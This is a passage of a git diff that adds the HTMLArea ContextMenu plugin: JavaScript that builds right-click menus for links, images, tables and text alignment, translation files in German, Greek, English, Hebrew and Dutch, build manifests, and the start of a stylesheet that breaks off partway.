+               switch (tag) {
+                   case "img":
+                       img = target;
+                       elmenus.push(null,
+                                    [ i18n["Image Properties"],
+                                      function() {
+                                              editor._insertImage(img);
+                                      },
+                                      i18n["Show the image properties dialog"],
+                                      config.btnList["insertimage"][1] ]
+                               );
+                       break;
+                   case "a":
+                       link = target;
+                       elmenus.push(null,
+                                    [ i18n["Modify Link"],
+                                      function() { editor.execCommand("createlink", true); },
+                                      i18n["Current URL is"] + ': ' + link.href,
+                                      config.btnList["createlink"][1] ],
+
+                                    [ i18n["Check Link"],
+                                      function() { window.open(link.href); },
+                                      i18n["Opens this link in a new window"] ],
+
+                                    [ i18n["Remove Link"],
+                                      function() {
+                                              if (confirm(i18n["Please confirm that you want to unlink this element."] + "\n" +
+                                                          i18n["Link points to:"] + " " + link.href)) {
+                                                      while (link.firstChild)
+                                                              link.parentNode.insertBefore(link.firstChild, link);
+                                                      link.parentNode.removeChild(link);
+                                              }
+                                      },
+                                      i18n["Unlink the current element"] ]
+                               );
+                       break;
+                   case "td":
+                       td = target;
+                       if (!tbo) break;
+                       elmenus.push(null,
+                                    [ i18n["Cell Properties"],
+                                      function() { tableOperation("TO-cell-prop"); },
+                                      i18n["Show the Table Cell Properties dialog"],
+                                      config.btnList["TO-cell-prop"][1] ]
+                               );
+                       break;
+                   case "tr":
+                       tr = target;
+                       if (!tbo) break;
+                       elmenus.push(null,
+                                    [ i18n["Row Properties"],
+                                      function() { tableOperation("TO-row-prop"); },
+                                      i18n["Show the Table Row Properties dialog"],
+                                      config.btnList["TO-row-prop"][1] ],
+
+                                    [ i18n["Insert Row Before"],
+                                      function() { tableOperation("TO-row-insert-above"); },
+                                      i18n["Insert a new row before the current one"],
+                                      config.btnList["TO-row-insert-above"][1] ],
+
+                                    [ i18n["Insert Row After"],
+                                      function() { tableOperation("TO-row-insert-under"); },
+                                      i18n["Insert a new row after the current one"],
+                                      config.btnList["TO-row-insert-under"][1] ],
+
+                                    [ i18n["Delete Row"],
+                                      function() { tableOperation("TO-row-delete"); },
+                                      i18n["Delete the current row"],
+                                      config.btnList["TO-row-delete"][1] ]
+                               );
+                       break;
+                   case "table":
+                       table = target;
+                       if (!tbo) break;
+                       elmenus.push(null,
+                                    [ i18n["Table Properties"],
+                                      function() { tableOperation("TO-table-prop"); },
+                                      i18n["Show the Table Properties dialog"],
+                                      config.btnList["TO-table-prop"][1] ],
+
+                                    [ i18n["Insert Column Before"],
+                                      function() { tableOperation("TO-col-insert-before"); },
+                                      i18n["Insert a new column before the current one"],
+                                      config.btnList["TO-col-insert-before"][1] ],
+
+                                    [ i18n["Insert Column After"],
+                                      function() { tableOperation("TO-col-insert-after"); },
+                                      i18n["Insert a new column after the current one"],
+                                      config.btnList["TO-col-insert-after"][1] ],
+
+                                    [ i18n["Delete Column"],
+                                      function() { tableOperation("TO-col-delete"); },
+                                      i18n["Delete the current column"],
+                                      config.btnList["TO-col-delete"][1] ]
+                               );
+                       break;
+                   case "body":
+                       elmenus.push(null,
+                                    [ i18n["Justify Left"],
+                                      function() { editor.execCommand("justifyleft"); }, null,
+                                      config.btnList["justifyleft"][1] ],
+                                    [ i18n["Justify Center"],
+                                      function() { editor.execCommand("justifycenter"); }, null,
+                                      config.btnList["justifycenter"][1] ],
+                                    [ i18n["Justify Right"],
+                                      function() { editor.execCommand("justifyright"); }, null,
+                                      config.btnList["justifyright"][1] ],
+                                    [ i18n["Justify Full"],
+                                      function() { editor.execCommand("justifyfull"); }, null,
+                                      config.btnList["justifyfull"][1] ]
+                               );
+                       break;
+               }
+       }
+
+       if (selection && !link)
+               menu.push(null, [ i18n["Make link"],
+                                 function() { editor.execCommand("createlink", true); },
+                                 i18n["Create a link"],
+                                 config.btnList["createlink"][1] ]);
+
+       for (var i in elmenus)
+               menu.push(elmenus[i]);
+
+       menu.push(null,
+                 [ i18n["Remove the"] + " &lt;" + currentTarget.tagName + "&gt; " + i18n["Element"],
+                   function() {
+                           if (confirm(i18n["Please confirm that you want to remove this element:"] + " " + currentTarget.tagName)) {
+                                   var el = currentTarget;
+                                   var p = el.parentNode;
+                                   p.removeChild(el);
+                                   if (HTMLArea.is_gecko) {
+                                           if (p.tagName.toLowerCase() == "td" && !p.hasChildNodes())
+                                                   p.appendChild(editor._doc.createElement("br"));
+                                           editor.forceRedraw();
+                                           editor.focusEditor();
+                                           editor.updateToolbar();
+                                           if (table) {
+                                                   var save_collapse = table.style.borderCollapse;
+                                                   table.style.borderCollapse = "collapse";
+                                                   table.style.borderCollapse = "separate";
+                                                   table.style.borderCollapse = save_collapse;
+                                           }
+                                   }
+                           }
+                   },
+                   i18n["Remove this node from the document"] ]);
+       return menu;
+};
+
+ContextMenu.prototype.popupMenu = function(ev) {
+       var self = this;
+       var i18n = ContextMenu.I18N;
+       if (this.currentMenu)
+               this.currentMenu.parentNode.removeChild(this.currentMenu);
+       function getPos(el) {
+               var r = { x: el.offsetLeft, y: el.offsetTop };
+               if (el.offsetParent) {
+                       var tmp = getPos(el.offsetParent);
+                       r.x += tmp.x;
+                       r.y += tmp.y;
+               }
+               return r;
+       };
+       function documentClick(ev) {
+               ev || (ev = window.event);
+               if (!self.currentMenu) {
+                       alert(i18n["How did you get here? (Please report!)"]);
+                       return false;
+               }
+               var el = HTMLArea.is_ie ? ev.srcElement : ev.target;
+               for (; el != null && el != self.currentMenu; el = el.parentNode);
+               if (el == null)
+                       self.closeMenu();
+               //HTMLArea._stopEvent(ev);
+               //return false;
+       };
+       var keys = [];
+       function keyPress(ev) {
+               ev || (ev = window.event);
+               HTMLArea._stopEvent(ev);
+               if (ev.keyCode == 27) {
+                       self.closeMenu();
+                       return false;
+               }
+               var key = String.fromCharCode(HTMLArea.is_ie ? ev.keyCode : ev.charCode).toLowerCase();
+               for (var i = keys.length; --i >= 0;) {
+                       var k = keys[i];
+                       if (k[0].toLowerCase() == key)
+                               k[1].__msh.activate();
+               }
+       };
+       self.closeMenu = function() {
+               self.currentMenu.parentNode.removeChild(self.currentMenu);
+               self.currentMenu = null;
+               HTMLArea._removeEvent(document, "mousedown", documentClick);
+               HTMLArea._removeEvent(self.editordoc, "mousedown", documentClick);
+               if (keys.length > 0)
+                       HTMLArea._removeEvent(self.editordoc, "keypress", keyPress);
+               if (HTMLArea.is_ie)
+                       self.iePopup.hide();
+       };
+       var target = HTMLArea.is_ie ? ev.srcElement : ev.target;
+       var ifpos = getPos(self.editor._iframe);
+       var x = ev.clientX + ifpos.x;
+       var y = ev.clientY + ifpos.y;
+
+       var div;
+       var doc;
+       if (!HTMLArea.is_ie) {
+               doc = document;
+       } else {
+               // IE stinks
+               var popup = this.iePopup = window.createPopup();
+               doc = popup.document;
+               doc.open();
+               doc.write("<html><head><style type='text/css'>@import url(" + _editor_url + "plugins/ContextMenu/menu.css); html, body { padding: 0px; margin: 0px; overflow: hidden; border: 0px; }</style></head><body unselectable='yes'></body></html>");
+               doc.close();
+       }
+       div = doc.createElement("div");
+       if (HTMLArea.is_ie)
+               div.unselectable = "on";
+       div.oncontextmenu = function() { return false; };
+       div.className = "htmlarea-context-menu";
+       if (!HTMLArea.is_ie)
+               div.style.left = div.style.top = "0px";
+       doc.body.appendChild(div);
+
+       var table = doc.createElement("table");
+       div.appendChild(table);
+       table.cellSpacing = 0;
+       table.cellPadding = 0;
+       var parent = doc.createElement("tbody");
+       table.appendChild(parent);
+
+       var options = this.getContextMenu(target);
+       for (var i = 0; i < options.length; ++i) {
+               var option = options[i];
+               var item = doc.createElement("tr");
+               parent.appendChild(item);
+               if (HTMLArea.is_ie)
+                       item.unselectable = "on";
+               else item.onmousedown = function(ev) {
+                       HTMLArea._stopEvent(ev);
+                       return false;
+               };
+               if (!option) {
+                       item.className = "separator";
+                       var td = doc.createElement("td");
+                       td.className = "icon";
+                       var IE_IS_A_FUCKING_SHIT = '>';
+                       if (HTMLArea.is_ie) {
+                               td.unselectable = "on";
+                               IE_IS_A_FUCKING_SHIT = " unselectable='on' style='height=1px'>&nbsp;";
+                       }
+                       td.innerHTML = "<div" + IE_IS_A_FUCKING_SHIT + "</div>";
+                       var td1 = td.cloneNode(true);
+                       td1.className = "label";
+                       item.appendChild(td);
+                       item.appendChild(td1);
+               } else {
+                       var label = option[0];
+                       item.className = "item";
+                       item.__msh = {
+                               item: item,
+                               label: label,
+                               action: option[1],
+                               tooltip: option[2] || null,
+                               icon: option[3] || null,
+                               activate: function() {
+                                       self.closeMenu();
+                                       self.editor.focusEditor();
+                                       this.action();
+                               }
+                       };
+                       label = label.replace(/_([a-zA-Z0-9])/, "<u>$1</u>");
+                       if (label != option[0])
+                               keys.push([ RegExp.$1, item ]);
+                       label = label.replace(/__/, "_");
+                       var td1 = doc.createElement("td");
+                       if (HTMLArea.is_ie)
+                               td1.unselectable = "on";
+                       item.appendChild(td1);
+                       td1.className = "icon";
+                       if (item.__msh.icon)
+                               td1.innerHTML = "<img align='middle' src='" + item.__msh.icon + "' />";
+                       var td2 = doc.createElement("td");
+                       if (HTMLArea.is_ie)
+                               td2.unselectable = "on";
+                       item.appendChild(td2);
+                       td2.className = "label";
+                       td2.innerHTML = label;
+                       item.onmouseover = function() {
+                               this.className += " hover";
+                               self.editor._statusBarTree.innerHTML = this.__msh.tooltip || '&nbsp;';
+                       };
+                       item.onmouseout = function() { this.className = "item"; };
+                       item.oncontextmenu = function(ev) {
+                               this.__msh.activate();
+                               if (!HTMLArea.is_ie)
+                                       HTMLArea._stopEvent(ev);
+                               return false;
+                       };
+                       item.onmouseup = function(ev) {
+                               var timeStamp = (new Date()).getTime();
+                               if (timeStamp - self.timeStamp > 500)
+                                       this.__msh.activate();
+                               if (!HTMLArea.is_ie)
+                                       HTMLArea._stopEvent(ev);
+                               return false;
+                       };
+                       //if (typeof option[2] == "string")
+                       //item.title = option[2];
+               }
+       }
+
+       if (!HTMLArea.is_ie) {
+               var dx = x + div.offsetWidth - window.innerWidth + 4;
+               var dy = y + div.offsetHeight - window.innerHeight + 4;
+               if (dx > 0) x -= dx;
+               if (dy > 0) y -= dy;
+               div.style.left = x + "px";
+               div.style.top = y + "px";
+       } else {
+               // determine the size (did I mention that IE stinks?)
+               var foobar = document.createElement("div");
+               foobar.className = "htmlarea-context-menu";
+               foobar.innerHTML = div.innerHTML;
+               document.body.appendChild(foobar);
+               var w = foobar.offsetWidth;
+               var h = foobar.offsetHeight;
+               document.body.removeChild(foobar);
+               this.iePopup.show(ev.screenX, ev.screenY, w, h);
+       }
+
+       this.currentMenu = div;
+       this.timeStamp = (new Date()).getTime();
+
+       HTMLArea._addEvent(document, "mousedown", documentClick);
+       HTMLArea._addEvent(this.editordoc, "mousedown", documentClick);
+       if (keys.length > 0)
+               HTMLArea._addEvent(this.editordoc, "keypress", keyPress);
+
+       HTMLArea._stopEvent(ev);
+       return false;
+};
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/de.js b/admin/htmlarea/plugins/ContextMenu/lang/de.js
new file mode 100755 (executable)
index 0000000..e9f1fed
--- /dev/null
@@ -0,0 +1,59 @@
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+
+// translated: <]{MJ}[>  i@student.ethz.ch
+
+
+ContextMenu.I18N = {
+       // Items that appear in menu.  Please note that an underscore (_)
+       // character in the translation (right column) will cause the following
+       // letter to become underlined and be shortcut for that menu option.
+
+       "Cut"                                                   : "Ausschneiden",
+       "Copy"                                                  : "Kopieren",
+       "Paste"                                                 : "Einfügen",
+       "Image Properties"                                      : "_Bild Einstellungen...",
+       "Modify Link"                                           : "_Link ändern...",
+       "Check Link"                                            : "Link testen...",
+       "Remove Link"                                           : "Link entfernen...",
+       "Cell Properties"                                       : "Z_ellen Einstellungen...",
+       "Row Properties"                                        : "Ze_ilen Einstellungen...",
+       "Insert Row Before"                                     : "Zeile einfügen v_or Position",
+       "Insert Row After"                                      : "Zeile einfügen n_ach Position",
+       "Delete Row"                                            : "Zeile löschen",
+       "Table Properties"                                      : "_Tabellen Einstellungen...",
+       "Insert Column Before"                                  : "Spalte einfügen vo_r Position",
+       "Insert Column After"                                   : "Spalte einfügen na_ch Position",
+       "Delete Column"                                         : "Spalte löschen",
+       "Justify Left"                                          : "Links ausrichten",
+       "Justify Center"                                        : "Zentriert",
+       "Justify Right"                                         : "Rechts ausrichten",
+       "Justify Full"                                          : "Blocksatz",
+       "Make link"                                             : "Lin_k erstellen...",
+       "Remove the"                                            : "",
+       "Element"                                               : "Element entfernen...",
+
+       // Other labels (tooltips and alert/confirm box messages)
+
+       "Please confirm that you want to remove this element:"  : "Wollen sie dieses Element wirklich entfernen ?",
+       "Remove this node from the document"                    : "Dieses Element aus dem Dokument entfernen",
+       "How did you get here? (Please report!)"                : "How did you get here? (Please report!)",
+       "Show the image properties dialog"                      : "Fenster für die Bild-Einstellungen anzeigen",
+       "Modify URL"                                            : "URL ändern",
+       "Current URL is"                                        : "Aktuelle URL ist",
+       "Opens this link in a new window"                       : "Diesen Link in neuem Fenster öffnen",
+       "Please confirm that you want to unlink this element."  : "Wollen sie diesen Link wirklich entfernen ?",
+       "Link points to:"                                       : "Link zeigt auf:",
+       "Unlink the current element"                            : "Link auf Element entfernen",
+       "Show the Table Cell Properties dialog"                 : "Zellen-Einstellungen anzeigen",
+       "Show the Table Row Properties dialog"                  : "Zeilen-Einstellungen anzeigen",
+       "Insert a new row before the current one"               : "Zeile einfügen vor der aktuellen Position",
+       "Insert a new row after the current one"                : "Zeile einfügen nach der aktuellen Position",
+       "Delete the current row"                                : "Zeile löschen",
+       "Show the Table Properties dialog"                      : "Show the Table Properties dialog",
+       "Insert a new column before the current one"            : "Spalte einfügen vor der aktuellen Position",
+       "Insert a new column after the current one"             : "Spalte einfügen nach der aktuellen Position",
+       "Delete the current column"                             : "Spalte löschen",
+       "Create a link"                                         : "Link erstellen"
+};
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/el.js b/admin/htmlarea/plugins/ContextMenu/lang/el.js
new file mode 100755 (executable)
index 0000000..68bbaf2
--- /dev/null
@@ -0,0 +1,57 @@
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+ContextMenu.I18N = {
+       // Items that appear in menu.  Please note that an underscore (_)
+       // character in the translation (right column) will cause the following
+       // letter to become underlined and be shortcut for that menu option.
+
+       "Cut"                                                   : "Αποκοπή",
+       "Copy"                                                  : "Αντιγραφή",
+       "Paste"                                                 : "Επικόλληση",
+       "Image Properties"                                      : "Ιδιότητες Εικόνας...",
+       "Modify Link"                                           : "Τροποποίηση συνδέσμου...",
+       "Check Link"                                            : "Έλεγχος συνδέσμων...",
+       "Remove Link"                                           : "Διαγραφή συνδέσμου...",
+       "Cell Properties"                                       : "Ιδιότητες κελιού...",
+       "Row Properties"                                        : "Ιδιότητες γραμμής...",
+       "Insert Row Before"                                     : "Εισαγωγή γραμμής πριν",
+       "Insert Row After"                                      : "Εισαγωγή γραμμής μετά",
+       "Delete Row"                                            : "Διαγραφή γραμμής",
+       "Table Properties"                                      : "Ιδιότητες πίνακα...",
+       "Insert Column Before"                                  : "Εισαγωγή στήλης πριν",
+       "Insert Column After"                                   : "Εισαγωγή στήλης μετά",
+       "Delete Column"                                         : "Διαγραφή στήλης",
+       "Justify Left"                                          : "Στοίχηση Αριστερά",
+       "Justify Center"                                        : "Στοίχηση Κέντρο",
+       "Justify Right"                                         : "Στοίχηση Δεξιά",
+       "Justify Full"                                          : "Πλήρης Στοίχηση",
+       "Make link"                                             : "Δημιουργία συνδέσμου...",
+       "Remove the"                                            : "Αφαίρεση",
+       "Element"                                               : "στοιχείου...",
+
+       // Other labels (tooltips and alert/confirm box messages)
+
+       "Please confirm that you want to remove this element:"  : "Είστε βέβαιος πως θέλετε να αφαιρέσετε το στοιχείο ",
+       "Remove this node from the document"                    : "Αφαίρεση αυτού του κόμβου από το έγγραφο",
+       "How did you get here? (Please report!)"                : "Πώς ήρθατε μέχρι εδώ; (Παρακαλούμε αναφέρετε το!)",
+       "Show the image properties dialog"                      : "Εμφάνιση διαλόγου με τις Ιδιότητες εικόνας",
+       "Modify URL"                                            : "Τροποποίηση URL",
+       "Current URL is"                                        : "Το τρέχων URL είναι",
+       "Opens this link in a new window"                       : "Ανοίγει αυτό τον σύνδεσμο σε ένα νέο παράθυρο",
+       "Please confirm that you want to unlink this element."  : "Είστε βέβαιος πως θέλετε να αφαιρέσετε τον σύνδεσμο από αυτό το στοιχείο:",
+       "Link points to:"                                       : "Ο σύνδεμος οδηγεί εδώ:",
+       "Unlink the current element"                            : "Αφαίρεση συνδέσμου από το παρών στοιχείο",
+       "Show the Table Cell Properties dialog"                 : "Εμφάνιση διαλόγου με τις Ιδιότητες κελιού Πίνακα",
+       "Show the Table Row Properties dialog"                  : "Εμφάνιση διαλόγου με τις Ιδιότητες γραμμής Πίνακα",
+       "Insert a new row before the current one"               : "Εισαγωγή μιας νέας γραμμής πριν την επιλεγμένη",
+       "Insert a new row after the current one"                : "Εισαγωγή μιας νέας γραμμής μετά την επιλεγμένη",
+       "Delete the current row"                                : "Διαγραφή επιλεγμένης γραμμής",
+       "Show the Table Properties dialog"                      : "Εμφάνιση διαλόγου με τις Ιδιότητες Πίνακα",
+       "Insert a new column before the current one"            : "Εισαγωγή νέας στήλης πριν την επιλεγμένη",
+       "Insert a new column after the current one"             : "Εισαγωγή νέας στήλης μετά την επιλεγμένη",
+       "Delete the current column"                             : "Διαγραφή επιλεγμένης στήλης",
+       "Create a link"                                         : "Δημιουργία συνδέσμου"
+};
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/en.js b/admin/htmlarea/plugins/ContextMenu/lang/en.js
new file mode 100755 (executable)
index 0000000..8d15914
--- /dev/null
@@ -0,0 +1,66 @@
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+ContextMenu.I18N = {
+       // Items that appear in menu.  Please note that an underscore (_)
+       // character in the translation (right column) will cause the following
+       // letter to become underlined and be shortcut for that menu option.
+
+       "Cut"                                                   : "Cut",
+       "Copy"                                                  : "Copy",
+       "Paste"                                                 : "Paste",
+       "Image Properties"                                      : "_Image Properties...",
+       "Modify Link"                                           : "_Modify Link...",
+       "Check Link"                                            : "Chec_k Link...",
+       "Remove Link"                                           : "_Remove Link...",
+       "Cell Properties"                                       : "C_ell Properties...",
+       "Row Properties"                                        : "Ro_w Properties...",
+       "Insert Row Before"                                     : "I_nsert Row Before",
+       "Insert Row After"                                      : "In_sert Row After",
+       "Delete Row"                                            : "_Delete Row",
+       "Table Properties"                                      : "_Table Properties...",
+       "Insert Column Before"                                  : "Insert _Column Before",
+       "Insert Column After"                                   : "Insert C_olumn After",
+       "Delete Column"                                         : "De_lete Column",
+       "Justify Left"                                          : "Justify Left",
+       "Justify Center"                                        : "Justify Center",
+       "Justify Right"                                         : "Justify Right",
+       "Justify Full"                                          : "Justify Full",
+       "Make link"                                             : "Make lin_k...",
+       "Remove the"                                            : "Remove the",
+       "Element"                                               : "Element...",
+
+       // Other labels (tooltips and alert/confirm box messages)
+
+       "Please confirm that you want to remove this element:"  : "Please confirm that you want to remove this element:",
+       "Remove this node from the document"                    : "Remove this node from the document",
+       "How did you get here? (Please report!)"                : "How did you get here? (Please report!)",
+       "Show the image properties dialog"                      : "Show the image properties dialog",
+       "Modify URL"                                            : "Modify URL",
+       "Current URL is"                                        : "Current URL is",
+       "Opens this link in a new window"                       : "Opens this link in a new window",
+       "Please confirm that you want to unlink this element."  : "Please confirm that you want to unlink this element.",
+       "Link points to:"                                       : "Link points to:",
+       "Unlink the current element"                            : "Unlink the current element",
+       "Show the Table Cell Properties dialog"                 : "Show the Table Cell Properties dialog",
+       "Show the Table Row Properties dialog"                  : "Show the Table Row Properties dialog",
+       "Insert a new row before the current one"               : "Insert a new row before the current one",
+       "Insert a new row after the current one"                : "Insert a new row after the current one",
+       "Delete the current row"                                : "Delete the current row",
+       "Show the Table Properties dialog"                      : "Show the Table Properties dialog",
+       "Insert a new column before the current one"            : "Insert a new column before the current one",
+       "Insert a new column after the current one"             : "Insert a new column after the current one",
+       "Delete the current column"                             : "Delete the current column",
+       "Create a link"                                         : "Create a link"
+};
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/he.js b/admin/htmlarea/plugins/ContextMenu/lang/he.js
new file mode 100755 (executable)
index 0000000..0fb3652
--- /dev/null
@@ -0,0 +1,66 @@
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+       // Items that appear in menu.  Please note that an underscore (_)\r\r
+       // character in the translation (right column) will cause the following\r\r
+       // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+       "Cut"                                                   : "גזור",\r\r
+       "Copy"                                                  : "העתק",\r\r
+       "Paste"                                                 : "הדבק",\r\r
+       "Image Properties"                                      : "_מאפייני תמונה...",\r\r
+       "Modify Link"                                           : "_שנה קישור...",\r\r
+       "Check Link"                                            : "בדו_ק קישור...",\r\r
+       "Remove Link"                                           : "_הסר קישור...",\r\r
+       "Cell Properties"                                       : "מאפייני ת_א...",\r\r
+       "Row Properties"                                        : "מאפייני _טור...",\r\r
+       "Insert Row Before"                                     : "ה_כנס שורה לפני",\r\r
+       "Insert Row After"                                      : "הכנ_ס שורה אחרי",\r\r
+       "Delete Row"                                            : "_מחק שורה",\r\r
+       "Table Properties"                                      : "מאפייני ט_בלה...",\r\r
+       "Insert Column Before"                                  : "הכנס _טור לפני",\r\r
+       "Insert Column After"                                   : "הכנס ט_ור אחרי",\r\r
+       "Delete Column"                                         : "מח_ק טור",\r\r
+       "Justify Left"                                          : "ישור לשמאל",\r\r
+       "Justify Center"                                        : "ישור למרכז",\r\r
+       "Justify Right"                                         : "ישור לימין",\r\r
+       "Justify Full"                                          : "ישור לשורה מלאה",\r\r
+       "Make link"                                             : "צור קי_שור...",\r\r
+       "Remove the"                                            : "הסר את אלמנט ה-",\r\r
+       "Element"                                               : "...",\r\r
+\r\r
+       // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+       "Please confirm that you want to remove this element:"  : "אנא אשר שברצונך להסיר את האלמנט הזה:",\r\r
+       "Remove this node from the document"                    : "הסרה של node זה מהמסמך",\r\r
+       "How did you get here? (Please report!)"                : "איך הגעת הנה? (אנא דווח!)",\r\r
+       "Show the image properties dialog"                      : "מציג את חלון הדו-שיח של מאפייני תמונה",\r\r
+       "Modify URL"                                            : "שינוי URL",\r\r
+       "Current URL is"                                        : "URL נוכחי הוא",\r\r
+       "Opens this link in a new window"                       : "פתיחת קישור זה בחלון חדש",\r\r
+       "Please confirm that you want to unlink this element."  : "אנא אשר שאתה רוצה לנתק את אלמנט זה.",\r\r
+       "Link points to:"                                       : "הקישור מצביע אל:",\r\r
+       "Unlink the current element"                            : "ניתוק את האלמנט הנוכחי",\r\r
+       "Show the Table Cell Properties dialog"                 : "מציג את חלון הדו-שיח של מאפייני תא בטבלה",\r\r
+       "Show the Table Row Properties dialog"                  : "מציג את חלון הדו-שיח של מאפייני שורה בטבלה",\r\r
+       "Insert a new row before the current one"               : "הוספת שורה חדשה לפני הנוכחית",\r\r
+       "Insert a new row after the current one"                : "הוספת שורה חדשה אחרי הנוכחית",\r\r
+       "Delete the current row"                                : "מחיקת את השורה הנוכחית",\r\r
+       "Show the Table Properties dialog"                      : "מציג את חלון הדו-שיח של מאפייני טבלה",\r\r
+       "Insert a new column before the current one"            : "הוספת טור חדש לפני הנוכחי",\r\r
+       "Insert a new column after the current one"             : "הוספת טור חדש אחרי הנוכחי",\r\r
+       "Delete the current column"                             : "מחיקת את הטור הנוכחי",\r\r
+       "Create a link"                                         : "יצירת קישור"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/makefile.xml b/admin/htmlarea/plugins/ContextMenu/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/plugins/ContextMenu/lang/nl.js b/admin/htmlarea/plugins/ContextMenu/lang/nl.js
new file mode 100755 (executable)
index 0000000..4861ec3
--- /dev/null
@@ -0,0 +1,66 @@
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+ContextMenu.I18N = {\r\r
+       // Items that appear in menu.  Please note that an underscore (_)\r\r
+       // character in the translation (right column) will cause the following\r\r
+       // letter to become underlined and be shortcut for that menu option.\r\r
+\r\r
+       "Cut"                                                   : "Knippen",\r\r
+       "Copy"                                                  : "Kopiëren",\r\r
+       "Paste"                                                 : "Plakken",\r\r
+       "Image Properties"                                      : "Eigenschappen afbeelding...",\r\r
+       "Modify Link"                                           : "Hyperlin_k aanpassen...",\r\r
+       "Check Link"                                            : "Controleer hyperlin_k...",\r\r
+       "Remove Link"                                           : "Ve_rwijder hyperlink...",\r\r
+       "Cell Properties"                                       : "C_eleigenschappen...",\r\r
+       "Row Properties"                                        : "Rijeigenscha_ppen...",\r\r
+       "Insert Row Before"                                     : "Rij invoegen boven",\r\r
+       "Insert Row After"                                      : "Rij invoegen onder",\r\r
+       "Delete Row"                                            : "Rij _verwijderen",\r\r
+       "Table Properties"                                      : "_Tabeleigenschappen...",\r\r
+       "Insert Column Before"                                  : "Kolom invoegen voor",\r\r
+       "Insert Column After"                                   : "Kolom invoegen na",\r\r
+       "Delete Column"                                         : "Kolom verwijderen",\r\r
+       "Justify Left"                                          : "Links uitlijnen",\r\r
+       "Justify Center"                                        : "Centreren",\r\r
+       "Justify Right"                                         : "Rechts uitlijnen",\r\r
+       "Justify Full"                                          : "Uitvullen",\r\r
+       "Make link"                                             : "Maak hyperlin_k...",\r\r
+       "Remove the"                                            : "Verwijder het",\r\r
+       "Element"                                               : "element...",\r\r
+\r\r
+       // Other labels (tooltips and alert/confirm box messages)\r\r
+\r\r
+       "Please confirm that you want to remove this element:"  : "Is het werkelijk de bedoeling dit element te verwijderen:",\r\r
+       "Remove this node from the document"                    : "Verwijder dit punt van het document",\r\r
+       "How did you get here? (Please report!)"                : "Hoe kwam je hier? (A.U.B. doorgeven!)",\r\r
+       "Show the image properties dialog"                      : "Laat het afbeeldingseigenschappen dialog zien",\r\r
+       "Modify URL"                                            : "Aanpassen URL",\r\r
+       "Current URL is"                                        : "Huidig URL is",\r\r
+       "Opens this link in a new window"                       : "Opend deze hyperlink in een nieuw venster",\r\r
+       "Please confirm that you want to unlink this element."  : "Is het werkelijk de bedoeling dit element te unlinken.",\r\r
+       "Link points to:"                                       : "Hyperlink verwijst naar:",\r\r
+       "Unlink the current element"                            : "Unlink het huidige element",\r\r
+       "Show the Table Cell Properties dialog"                 : "Laat de tabel celeigenschappen dialog zien",\r\r
+       "Show the Table Row Properties dialog"                  : "Laat de tabel rijeigenschappen dialog zien",\r\r
+       "Insert a new row before the current one"               : "Voeg een nieuwe rij in boven de huidige",\r\r
+       "Insert a new row after the current one"                : "Voeg een nieuwe rij in onder de huidige",\r\r
+       "Delete the current row"                                : "Verwijder de huidige rij",\r\r
+       "Show the Table Properties dialog"                      : "Laat de tabel eigenschappen dialog zien",\r\r
+       "Insert a new column before the current one"            : "Voeg een nieuwe kolom in voor de huidige",\r\r
+       "Insert a new column after the current one"             : "Voeg een nieuwe kolom in na de huidige",\r\r
+       "Delete the current column"                             : "Verwijder de huidige kolom",\r\r
+       "Create a link"                                         : "Maak een hyperlink"\r\r
+};\r\r
diff --git a/admin/htmlarea/plugins/ContextMenu/makefile.xml b/admin/htmlarea/plugins/ContextMenu/makefile.xml
new file mode 100755 (executable)
index 0000000..2b0e7aa
--- /dev/null
@@ -0,0 +1,6 @@
+<files>
+  <file name="*.{js,html,cgi,css}" />
+
+  <dir name="lang" />
+</files>
+
diff --git a/admin/htmlarea/plugins/ContextMenu/menu.css b/admin/htmlarea/plugins/ContextMenu/menu.css
new file mode 100755 (executable)
index 0000000..70626b5
--- /dev/null
@@ -0,0 +1,64 @@
+/* styles for the ContextMenu /HTMLArea */
+/* The ContextMenu plugin is (c) dynarch.com 2003. */
+/* Distributed under the same terms as HTMLArea itself */
+
+div.htmlarea-context-menu {
+  position: absolute;
+  border: 1px solid #aca899;
+  padding: 2px;
+  background-color: #fff;
+  cursor: default;
+  z-index: 1000;
+}
+
+div.htmlarea-context-menu table {
+  font: 11px tahoma,verdana,sans-serif;
+  border-collapse: collapse;
+}
+
+div.htmlarea-context-menu tr.item td.icon img {
+  width: 18px;
